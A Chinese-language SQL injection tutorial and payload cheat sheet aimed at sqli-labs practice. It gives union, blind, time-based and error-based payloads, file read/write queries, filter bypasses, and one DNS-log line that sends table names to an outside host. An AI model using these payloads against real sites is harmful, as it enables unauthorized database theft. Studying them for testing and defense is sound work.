渗透千万条,安全第一条
WARNING:
- 授权渗透,备份数据后渗透;
- 在不确定危害的前提下,避免在update、insert、delete种类的注入点进行注入;
- 避免使用工具进行上述注入;
- 避免使用sqlmap的–dump功能;
什么是SQLi
前端构造的SQL语句片段拼接到后台SQL语句中,后台缺乏正确识别和过滤,造成与其外的数据库查询结果。
SQLi危害
- 从技术上来说:未授权、非法增删改查数据库内容,包括窃取信息、删除数据库、读写系统文件、执行命令等等;
- 从影响上来说:客户数据丢失、系统交易数据被篡改、网站首页被篡改。
SQLi分类
- 按照后台处理前端提交参数的类型来分,分两类:数字型注入和字符型注入。
- 按照请求方式分:GET、POST
- 按照其他分类方法,还有一些常见数据库注入类型:报错注入、盲注、延时注入、宽字节注入、二次注入、堆叠注入。
如何发现SQLi?
- 确认是否是动态网站
- 找到可能与后台数据库产生交互的位置,测试是否是注入点。
SQLi的利用步骤?
联合查询>报错>布尔盲注>延时盲注
宽字节注入、二次注入(代码审计)
MySQL注释符
代码语言:javascript复制# 单行,从‘#’字符从行尾
--空格 单行,从‘-- ’序列到行尾
/* 允许注释跨越多行 */
MySQL基础函数
- substr(var1, var2, var3)
功能:从字符串里截取其中一段字符(串)
- var1:被截取的字符串
- var2:从哪一位开始截取
- var3:截取长度
- ascii(var) 功能:取var字符的ascii码(十进制)
- user() 取得 当前登陆的用户,相当于问 MySQL whoami 的意思。
- if(var1,var2,var3) var1:条件 var2:条件为真时返回的值 var3:条件为假时返回的值
- sleep(var) 暂停执行var秒,var可以用小数
SQL基础语句
更改记录
代码语言:javascript复制update user set name='xiaoming', passwd='123456' where id=2;
update 表名 set 列名1=“值1”, 列名2=“值2” where 条件语句;
URL编码
目标 了解get请求后到底是编码还是解码,要传送目标字符串到后端,到底该先编码还是解码然后输入到地址栏中。
原理 get请求会对URL编码的字符进行自动解码传送到后端
例子
#:#
:空格
+:
MySQL联合查询注入
优先级
union > 报错 > 布尔盲注 > 延时盲注
思路及步骤
- 判断是否动态网站
- 找注入点
- 判断数字型、字符型
- 如果是字符型,则需要判断闭合符
- 如果尝试作为闭合符的字符并非是闭合符,那么它会被当成普通字符处理,不会报错(报错不等同于查询不出来);
- 如果尝试作为闭合符的字符是闭合符中的一个,那么会报错;
- 尝试多个输入点进行判断,尤其是要发掘新功能的输入点。
- 猜测后台SQL语句
select 1,u,p from t_users where id = '1' limit 0, 1;
- 判断列数
二分法
代码语言:javascript复制select u,p from t_users where id = '1' order by 10#' limit 0, 1;
- 找显示位
- 给出一个不能查出的条件,与联合查询联用
例子:union select 1,2,3#……
- 确定一个显示位进行查询
- 查库名
- database()
- security(所查库名)
access数据库管理系统是没有库的,不用做一步。
- 查表名
union select 1,2,group_concat(table_name), 4, 5 from information_schema.tables where table_schema = 'double_fish';--
- emails,referers,uagents,users(所查表名)
注意: information_schema库是特殊库,是一个在mysql5.0后才有的系统库。
- 查列名
union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema = 'double_fish' and table_name = 't_admin';--
- id,username,password(所查列名)
- 查记录
union select 1,2,group_concat(concat_ws(",", "<br>", id,username,password)) from users;--
查找库名、表名、列名应该找对显示位,比如下面这条查记录的语句就不能正常执行
代码语言:javascript复制union select 1,2,group_concat(username), group_concat(password),5 from users;--
重点
掌握查询当前库名的函数database();
掌握判断闭合符的方法;
掌握information_schema库与SQL注入相关的用法;
掌握union查询及其条件;
掌握concat、concat_ws、group_concat的用法;
掌握双引号等特殊字符的查询,要用到转义符;
理解二分法在联合查询中的作用。
布尔盲注
Payload构造思路
- 猜测SQL语句;
- 确定闭合符;
- 观察特征:有无带出后端查询的内容,有无报错、对比查询成功和查询失败的表现差异(HTTP返回包的差异)
- 构造查询布尔条件
- 原理:通过截取想要查询字符串的一个字符,将其ascii码与数字进行二分对比,逼近该字符的ascii值。
- 步骤一:确定待查询字符串的长度:length()
- 步骤二:构造布尔语句比对逐字符确定对应ascii码值,拼凑出待查询的字符串
延时盲注
使用场景:除了对时间函数敏感外,由于后端报错和查询结果不返回到前端,对前端其他任何输入都不返回给前端不同结果。
if(),sleep(),benchmark()
- 猜测后台SQL语句
- 确定场景
- 判断闭合符
- 构造一个明显会延时的if()语句拼接到条件语句(where)后
- 再依次尝试添加待确定的闭合符
- 如果延时,则尝试的闭合符正确
- 利用闭合符进行闭合,将条件语句(if)中的第一个参数构造成我们想通过比大小的查询的语句;
- 如果第一个参数返回真,则后端延迟返回内容。反之,立即返回(网络延迟除外);
- 网络延迟的情况下,根据网络延迟大小,调整延迟时间以便能够区分后端延迟还是网络延迟;
- 按照之前布尔盲注后续步骤进行查询。
写文件
SELECT “123” INTO OUTFILE “c:/123.txt";
SELECT “123abc” INTO DUMPFILE “c:/123.txt”;
注:dumpfile可以处理非可见字符。
要使用联合查询写文件,不能使用and或者or拼接写文件
条件
- 绝对路径
-
File_priv
开关需要是打开状态 select file_priv from mysql.user; -
secure_file_priv
默认是NULL,可以通过my.conf文件mysqld一栏里进行配置,配置完成后,重启便会生效。select @@global.secure_file_priv;
- 设置为空,那么对所有路径均可进行导入导出。
- 设置为一个目录名字,那么只允许在该路径下导入导出。
- 设置为Null,那么禁止所有导入导出。
读文件
select load_file("路径和文件名");
load data infile()
;
load data infile 和 load data local infile ,不受 secure-file-priv 的限制
表单注入
- 表单注入和GET注入区别? 特殊字符,如注释符是否需要编码是不同的。
- 判断是否是POST注入
- 猜测后台SQL语句
- 猜测闭合符
- 猜测列数
- 找显示位
- ……
条件语句中or的认识
or前面为真,分两种情况:
- or后面为假:返回一条记录
- or后面为真:返回所有记录。
测试注释步骤
两种闭合符:单引号和双引号
四种方式:1、单引号;2、双引号;3、单引号后面跟1到多个)圆括号;4、双引号后面跟1到多个)圆括号。
猜测后台SQL语句,select,update
insert、update、delete注入
**使用报错注入,后台报错开关是打开的。
报错注入模板
原理1——薛定谔之报错注入
双(查询)注入,又称floor报错注入
,想要查询select database(),只需要输入后面语句即可在MySQL报错语句中查询出来:
1、union select count(*), concat((payload), floor(rand()*2)) as a from information_schema.tables group by a;
2、and (select 1 from (select count(*),concat((payload), floor(rand(0)*2))x from information_schema.tables group by x)a) --
count(*)是必须带上的。
限制:
1、输出字符长度限制为?个字符
2、后台返回记录列数至少2列
原理2 updatexml报错注入
首先了解下updatexml()函数
代码语言:javascript复制updatexml (xml_document, xpath_string, new_value);
第一个参数:xml_document是string格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
MySQL执行1=(updatexml(1,concat(0x3a,(payload)),1))将报错。 限制1:输出字符长度限制为32个字符 限制2:仅payload返回的不是xml格式,才会生效
用的最多,所以被禁用的也最广。故不推荐此方式 强制性让要读取的数据类型不符合规划。然后让不符合的数据类型报错出来。 MySQL执行1=(updatexml(1,concat(0x3a,(payload)),1))将报错。
原理3 ExtractValue报错注入
模板1:
代码语言:javascript复制and extractvalue('anything',concat('/',(Payload)))
不推荐使用。
模板2:
代码语言:javascript复制union select 1,(extractvalue(1,concat(0x7e,(payload),0x7e))),3#
不存在丢失报错成果的情况。
例子
代码语言:javascript复制限制:输出字符长度限制为32个字符,还存在丢失报错成果成果的情况,
地址1
http://192.168.68.128/sqli-labs/Less-5/?id=1' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a#
地址2
http://192.168.68.128/sqli-labs/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))#
地址3
http://192.168.68.128/sqli-labs/Less-5/?id=1' and (extractvalue('anything',concat('/',(select version()))))#
其他模板
1、通过floor报错,注入语句如下: and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2、通过ExtractValue报错,注入语句如下: and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 3、通过UpdateXml报错,注入语句如下: and 1=(updatexml(1,concat(0x3a,(selectuser())),1)) 4、通过NAME_CONST报错,注入语句如下: and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c) 5、通过join报错,注入语句如下: select * from(select * from mysql.user ajoin mysql.user b)c; 6、通过exp报错,注入语句如下: and exp(~(select * from (select user () ) a) ); 7、通过GeometryCollection()报错,注入语句如下: and GeometryCollection(()select *from(select user () )a)b ); 8、通过polygon ()报错,注入语句如下: and polygon (()select * from(select user ())a)b ); 9、通过multipoint ()报错,注入语句如下: and multipoint (()select * from(select user() )a)b ); 10、通过multlinestring ()报错,注入语句如下: and multlinestring (()select * from(selectuser () )a)b ); 11、通过multpolygon ()报错,注入语句如下: and multpolygon (()select * from(selectuser () )a)b ); 12、通过linestring ()报错,注入语句如下: and linestring (()select * from(select user() )a)b );
LIKE注入
代码语言:javascript复制SELECT * FROM Websites WHERE name LIKE '%xxx%';
宽字节注入
西欧字母符号,通过1个字节来表示。东亚字符通过至少两个字节来表示。GBK编码就是用两个字节来表示中文区字符的一个编码标准。
GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE(高字节从81到FE,低字节从40到FE),剔除xx7F码位,共23940个码位。
条件
后台使用GBK编码的时候,存在着看不见的ascii码转换为GBK编码的转换过程,可以使用宽字节注入。
原理
编码转换存在着单字符被合并的情形
反斜杠对应url编码,是单字节的。 在前再加入一个单字节字符�(范围可以是81到FE之间),就成了� 而当后端使用GBK编码的时候,会将合理的两个单字节ANSCII字符解析成一个双字节的GBK编码字符。
dnslog带外查询数据
代码语言:javascript复制and load_file(concat("\\",(select group_concat(table_name SEPARATOR'-') from information_schema.tables where table_schema='security'),".xxx.dnslog.cn\xsy.txt"))#
MySQL注入绕过
- 编码字符串
- char(),如select(char(67,58,92,92,84,69,83,84,46,116,120,116));
- 16进制编码,如0x633a2f77616d702f7777772f666c61672e747874
- hex
- unhex(),如 select convert(unhex(‘E698A5E79CA0’) using utf8);
- to_base64(), from_base64():mysql 5.6后支持
- 过滤绕过:
- and->&&
- or->||
- =、>、<用between()函数、like关键字绕过
- 空格-> ,/**/
- limit 0,1用limit 0 offset 1绕过
- substr用mid、substring绕过
- sleep用benchmark绕过
- 大小写绕过
- 内外双写绕过
- 内联注释绕过/**/